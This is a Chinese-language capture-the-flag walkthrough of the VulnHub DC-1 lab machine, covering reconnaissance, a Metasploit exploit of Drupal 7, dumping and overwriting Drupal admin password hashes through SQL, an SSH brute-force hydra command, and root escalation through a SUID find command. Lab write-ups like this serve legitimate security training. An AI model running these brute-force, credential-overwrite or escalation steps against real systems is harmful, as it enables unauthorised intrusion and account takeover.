文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
靶机概览
详情介绍请参考下载地址
任务目标:拿下5个flag
下载地址:https://www.vulnhub.com/entry/dc-1,292/
靶机界面:
信息收集
由于我这里采用了NAT,所以很容易确定目标机器,如果你的网络环境里有众多机器,并且系统版本与靶机相似,且不方便更换连接虚拟机的方式,你可以先查看一下DC1的MAC,这样做主机发现时可以通过MAC来过滤靶机。
nmap信息收集
1:使用nmap作网段的主机发现,确定靶机地址是192.168.40.136
2:继续使用nmap对靶机做进一步探测
看这样子,还是先去80端口看看吧,不出意外的话,应该是先打80,再爆破22
网站信息收集
首先看到网站长这个样子
看到“Drupal Site”基本上就有思路了。
国外三大开源php CMS
drupal 【无专用扫描器,但是msf内置了模块】
wordpress 【有专用扫描器】
joomla 【有专用扫描器】
使用nikto来收集一下
看到Drupal的版本是7.x
很友好,直接给出了msf,那就来吧
渗透攻击
getshell
已经看到第一个flag了
Flag1
Flag2
进入数据库
首先需要进入shell,然后确认一下端口,看数据库开了没。然后进看到3306端口开了
这个时候需要注意,不能直接msf进入,因为msf是从web服务打进去的,而HTTP是瞬时协议,需要让python来做一个中介。
交互式shell
交互式shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
或者
python -c 'import pty; pty.spawn("/bin/bash")'
有了python中介,进入数据库,就是这么神奇
按照拿下flag2时的提示,进入drupaldb
表的最后有一张users表,查看一下
*************************** 1. row ***************************
uid: 0
name:
pass:
mail:
theme:
signature:
signature_format: NULL
created: 0
access: 0
login: 0
status: 0
timezone: NULL
language:
picture: 0
init:
data: NULL
*************************** 2. row ***************************
uid: 1
name: admin
pass: $S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR
mail: admin@example.com
theme:
signature:
signature_format: NULL
created: 1550581826
access: 1550583852
login: 1550582362
status: 1
timezone: Australia/Melbourne
language:
picture: 0
init: admin@example.com
data: b:0;
*************************** 3. row ***************************
uid: 2
name: Fred
pass: $S$DWGrxef6.D0cwB5Ts.GlnLw15chRRWH2s1R3QBwC0EkvBQ/9TCGg
mail: fred@example.org
theme:
signature:
signature_format: filtered_html
created: 1550581952
access: 1550582225
login: 1550582225
status: 1
timezone: Australia/Melbourne
language:
picture: 0
init: fred@example.org
data: b:0;
3 rows in set (0.00 sec)
拿下数据库的root账号
破解root的密码的密文不容易,尝试覆盖root的密码
1:现在生成一个密码,明文为alice
php scripts/password-hash.sh alice
update users set pass="$S$DT7skRNNPHGv673OYXvY9YecYrhUL1GX5ikaJKTZ2zvynIc9erSU" where uid=1;
登录网站
Flag3
拿下flag3,此时页面上线索指向了passwd,应该是/etc/passwd
Flag4
msf端的shell退出数据库,去看看/etc/passwd
到此为止,线索似乎断了。再回想一下,现在flag4是一个用户,而靶机开放了80和22端口,所以可以考虑爆破ssh了,就以flag4的身份
爆破ssh
使用hydra做ssh爆破
hydra -l flag4 -P /usr/share/john/password.lst 192.168.40.136 ssh -vV -f
Flag4
flag4暗示可以使用相同的方法拿下root
所以现在的路线就是要看一看root的家目录,那里应该有最后一个flag,即:要提权了
提权
探测SUID
和sudo -l
,结果发现find
就有SUID,得来全不费工夫
find -exec "/bin/sh" \;
Flag5
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。
文章由极客之音整理,本文链接:https://www.bmabk.com/index.php/post/134382.html